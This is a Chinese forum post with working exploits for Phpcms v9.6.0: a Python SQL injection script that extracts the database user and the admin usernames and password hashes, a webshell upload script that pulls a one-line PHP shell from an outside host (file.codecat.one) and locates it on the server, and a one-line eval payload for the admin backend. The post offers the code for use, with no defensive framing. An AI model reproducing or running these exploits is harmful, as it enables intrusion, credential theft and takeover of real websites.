phpcms漏洞

plaodj

注入exp:

[mw_shl_code=python,true]import requests
import sys
import urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

        if c.name[-7:] == '_siteid':

                cookie_head = c.name[:6]

                cookies[cookie_head+'_userid'] = c.value

        cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

        if c.name[-9:] == '_att_json':

                sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(        '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

        if c.name[-9:] == '_att_json':

                sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1][/mw_shl_code]

GETshell exp:

[mw_shl_code=python,true]# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
import sys
from datetime import datetime


def getTime():
    year = str(datetime.now().year)
    month = "%02d" % datetime.now().month
    day = "%02d" % datetime.now().day
    hour = datetime.now().hour
    hour = hour - 12 if hour > 12 else hour
    hour = "%02d" % hour
    minute = "%02d" % datetime.now().minute
    second = "%02d" % datetime.now().second
    microsecond = "%06d" % datetime.now().microsecond
    microsecond = microsecond[:3]
    nowTime = year + month + day + hour + minute + second + microsecond
    return int(nowTime), year + "/" + month + day + "/"


def main():
    if len(sys.argv) < 2:
        print("

Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsafaffdssdudi",
        "password": "123561",
        "email": "dsakkfdsjdi@qq.com",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        startTime, _ = getTime()
        htmlContent = requests.post(url, data=data)
        finishTime, dateUrl = getTime()
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("

Shell  : %s" % successUrl)
        else:
            print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second)，or re-run the program after modifying value of username and email.\n")
            successUrl = ""
            for t in range(startTime, finishTime):
                checkUrlHtml = requests.get(
                    host + "/uploadfile/" + dateUrl + str(t) + ".php")
                if checkUrlHtml.status_code == 200:
                    successUrl = host + "/uploadfile/" + \
                        dateUrl + str(t) + ".php"
                    print("

Shell  : %s" % successUrl)
                    break
            if successUrl == "":
                print(
                    "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:
        print("Request Error")


if __name__ == '__main__':
    main()[/mw_shl_code]

后台拿shell:
[mw_shl_code=shell,true]index.php?m=content&c=content&a=public_sub_categorys&menuid=${@eval($_POST[cmd])}&f= [/mw_shl_code]